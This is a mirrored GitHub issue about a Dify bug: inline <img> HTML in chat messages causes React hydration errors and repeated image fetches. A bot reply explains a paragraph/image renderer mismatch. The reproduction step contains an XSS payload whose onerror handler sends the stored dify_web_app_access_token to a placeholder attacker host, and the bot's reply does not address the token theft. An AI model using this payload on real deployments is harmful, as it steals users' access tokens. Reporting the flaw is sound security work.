Inline <img> in Markdown triggers hydration error and repeated image fetches #20561

Closed
opened 2026-02-21 20:07:57 -05:00 by yindo · 1 comment
Owner

Originally created by @lyzno1 on GitHub (Nov 26, 2025).

Self Checks

  • I have read the Contributing Guide and Language Policy.
  • This is only for bug report, if you would like to ask a question, please head to Discussions.
  • I have searched for existing issues search for existing issues, including closed ones.
  • I confirm that I am using English to submit this report, otherwise it will be closed.
  • 【中文用户 & Non English User】请使用英语提交,否则会被关闭 :)
  • Please do not modify this template :) and fill in all the required fields.

Dify version

main

Cloud or Self Hosted

  • Self Hosted (Source)
  • Cloud
  • Self Hosted (Docker)

Steps to reproduce

  1. Open Workflow Debug/Preview chat (self-hosted source build).
  2. Send a message containing:output:.
  3. The message renders with a tiny broken image that flickers; console logs hydration error about
    inside

    ; network tab shows repeated GET /app/.../x 404 on every re-render.

✔️ Expected Behavior

Inline HTML in user messages is sanitized or rendered as plain text; no hydration mismatches; broken or blocked images should not trigger repeated fetch loops.

Actual Behavior

Paragraph renderer returns

while the img renderer returns a wrapping

, yielding

...

and a hydration error. The inline keeps re-rendering and retrying the request (/app/.../x 404) repeatedly, causing console spam and network noise; the markup is not normalized/sanitized to text.

Originally created by @lyzno1 on GitHub (Nov 26, 2025). ### Self Checks - [x] I have read the [Contributing Guide](https://github.com/langgenius/dify/blob/main/CONTRIBUTING.md) and [Language Policy](https://github.com/langgenius/dify/issues/1542). - [x] This is only for bug report, if you would like to ask a question, please head to [Discussions](https://github.com/langgenius/dify/discussions/categories/general). - [x] I have searched for existing issues [search for existing issues](https://github.com/langgenius/dify/issues), including closed ones. - [x] I confirm that I am using English to submit this report, otherwise it will be closed. - [x] 【中文用户 & Non English User】请使用英语提交,否则会被关闭 :) - [x] Please do not modify this template :) and fill in all the required fields. ### Dify version main ### Cloud or Self Hosted - [x] Self Hosted (Source) - [ ] Cloud - [ ] Self Hosted (Docker) ### Steps to reproduce 1. Open Workflow Debug/Preview chat (self-hosted source build). 2. Send a message containing:output:<img src=x onerror="fetch('https://attacker/?t='+localStorage.getItem('dify_web_app_access_token'))">. 3. The message renders with a tiny broken image that flickers; console logs hydration error about <div> inside <p>; network tab shows repeated GET /app/.../x 404 on every re-render. ### ✔️ Expected Behavior Inline HTML in user messages is sanitized or rendered as plain text; no hydration mismatches; broken or blocked images should not trigger repeated fetch loops. ### ❌ Actual Behavior Paragraph renderer returns <p> while the img renderer returns a wrapping <div>, yielding <p><div>...</div></p> and a hydration error. The inline <img src=x> keeps re-rendering and retrying the request (/app/.../x 404) repeatedly, causing console spam and network noise; the markup is not normalized/sanitized to text.
yindo added the 🐞 bug label 2026-02-21 20:07:57 -05:00
yindo closed this issue 2026-02-21 20:07:57 -05:00
Author
Owner

@dosubot[bot] commented on GitHub (Nov 26, 2025):

The hydration error and repeated image fetches happen because Dify's Markdown renderer uses custom React components for both paragraphs and images, but they output different markup: the paragraph renderer returns a

tag, while the image renderer wraps tags in a

with an ImageGallery component. When an inline appears inside a paragraph, this leads to mismatched markup like

, which React can't reconcile during hydration, causing errors and repeated re-renders. Each re-render triggers another image fetch, resulting in network spam and console noise.

Dify's pipeline does sanitize some HTML, but raw tags are not officially supported—Markdown image syntax (like ![alt](url)) is the recommended way to include images. The renderer also strips or converts non-standard HTML tags to text for security reasons, but is still allowed and handled specially, which is why this edge case appears.

To avoid this, use Markdown image syntax instead of raw HTML. If you need to patch the renderer, ensure that both the paragraph and image components output consistent markup (either both use

or both use

), or further sanitize user input to strip or convert inline HTML to plain text before rendering. For more details, see the relevant code and discussion:

To reply, just mention @dosu.


How did I do? Good | Irrelevant | Incorrect | Verbose | Hallucination | Report 🐛 | Other

Chat with Dosu Open in Cursor Join Discord Share on X

@dosubot[bot] commented on GitHub (Nov 26, 2025): <!-- Answer --> The hydration error and repeated image fetches happen because Dify's Markdown renderer uses custom React components for both paragraphs and images, but they output different markup: the paragraph renderer returns a <p> tag, while the image renderer wraps <img> tags in a <div> with an ImageGallery component. When an inline <img> appears inside a paragraph, this leads to mismatched markup like <p></p><div></div>, which React can't reconcile during hydration, causing errors and repeated re-renders. Each re-render triggers another image fetch, resulting in network spam and console noise. Dify's pipeline does sanitize some HTML, but raw <img> tags are not officially supported—Markdown image syntax (like `![alt](url)`) is the recommended way to include images. The renderer also strips or converts non-standard HTML tags to text for security reasons, but <img> is still allowed and handled specially, which is why this edge case appears. To avoid this, use Markdown image syntax instead of raw HTML. If you need to patch the renderer, ensure that both the paragraph and image components output consistent markup (either both use <div> or both use <p>), or further sanitize user input to strip or convert inline HTML to plain text before rendering. For more details, see the relevant code and discussion: - [Paragraph and Img component mismatch](https://github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/base/markdown-blocks/paragraph.tsx#L9-L27) - [Markdown rendering pipeline](https://github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/base/markdown/react-markdown-wrapper.tsx#L31-L78) - [Related issue on hydration/rendering](https://github.com/langgenius/dify/issues/21645) - [Image syntax support](https://github.com/langgenius/dify/issues/20951) <!-- Dosu Comment Footer --> *To reply, just mention [@dosu](https://go.dosu.dev/dosubot).* --- <sup>How did I do? [Good](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=great_response) | [Irrelevant](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=irrelevant_answer) | [Incorrect](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=incorrect_sources) | [Verbose](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=too_verbose) | [Hallucination](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=hallucination) | [Report 🐛](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=bug_report) | [Other](https://app.dosu.dev/response-feedback/1c36ab56-02ed-4c3f-b7ed-504fb467878b?feedback_type=other)</sup> [![Chat with Dosu](https://dosu.dev/dosu-chat-badge.svg)](https://app.dosu.dev/6088a4f4-073a-43f3-b3d4-4f06fb0c05a0/ask?utm_source=github)&nbsp;[![Open in Cursor](https://dosu.dev/dosu-in-cursor.svg)](https://cursor.com/link/prompt?text=The%20hydration%20error%20and%20repeated%20image%20fetches%20happen%20because%20Dify%27s%20Markdown%20renderer%20uses%20custom%20React%20components%20for%20both%20paragraphs%20and%20images%2C%20but%20they%20output%20different%20markup%3A%20the%20paragraph%20renderer%20returns%20a%20%3Cp%3E%20tag%2C%20while%20the%20image%20renderer%20wraps%20%3Cimg%3E%20tags%20in%20a%20%3Cdiv%3E%20with%20an%20ImageGallery%20component.%20When%20an%20inline%20%3Cimg%3E%20appears%20inside%20a%20paragraph%2C%20this%20leads%20to%20mismatched%20markup%20like%20%3Cp%3E%3C/p%3E%3Cdiv%3E%3C/div%3E%2C%20which%20React%20can%27t%20reconcile%20during%20hydration%2C%20causing%20errors%20and%20repeated%20re-renders.%20Each%20re-render%20triggers%20another%20image%20fetch%2C%20resulting%20in%20network%20spam%20and%20console%20noise.%20%0A%0ADify%27s%20pipeline%20does%20sanitize%20some%20HTML%2C%20but%20raw%20%3Cimg%3E%20tags%20are%20not%20officially%20supported%E2%80%94Markdown%20image%20syntax%20%28like%20%60%21%5Balt%5D%28url%29%60%29%20is%20the%20recommended%20way%20to%20include%20images.%20The%20renderer%20also%20strips%20or%20converts%20non-standard%20HTML%20tags%20to%20text%20for%20security%20reasons%2C%20but%20%3Cimg%3E%20is%20still%20allowed%20and%20handled%20specially%2C%20which%20is%20why%20this%20edge%20case%20appears.%20%0A%0ATo%20avoid%20this%2C%20use%20Markdown%20image%20syntax%20instead%20of%20raw%20HTML.%20If%20you%20need%20to%20patch%20the%20renderer%2C%20ensure%20that%20both%20the%20paragraph%20and%20image%20components%20output%20consistent%20markup%20%28either%20both%20use%20%3Cdiv%3E%20or%20both%20use%20%3Cp%3E%29%2C%20or%20further%20sanitize%20user%20input%20to%20strip%20or%20convert%20inline%20HTML%20to%20plain%20text%20before%20rendering.%20For%20more%20details%2C%20see%20the%20relevant%20code%20and%20discussion%3A%20%20%0A-%20%5BParagraph%20and%20Img%20component%20mismatch%5D%28https%3A//github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/base/markdown-blocks/paragraph.tsx%23L9-L27%29%20%20%0A-%20%5BMarkdown%20rendering%20pipeline%5D%28https%3A//github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/base/markdown/react-markdown-wrapper.tsx%23L31-L78%29%20%20%0A-%20%5BRelated%20issue%20on%20hydration/rendering%5D%28https%3A//github.com/langgenius/dify/issues/21645%29%20%20%0A-%20%5BImage%20syntax%20support%5D%28https%3A//github.com/langgenius/dify/issues/20951%29)&nbsp;[![Join Discord](https://img.shields.io/badge/join-5865F2?logo=discord&logoColor=white&label=)](https://go.dosu.dev/discord-bot)&nbsp;[![Share on X](https://img.shields.io/badge/X-share-black)](https://twitter.com/intent/tweet?text=%40dosu_ai%20helped%20me%20solve%20this%20issue!&url=https%3A//github.com/langgenius/dify/issues/28678)
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#20561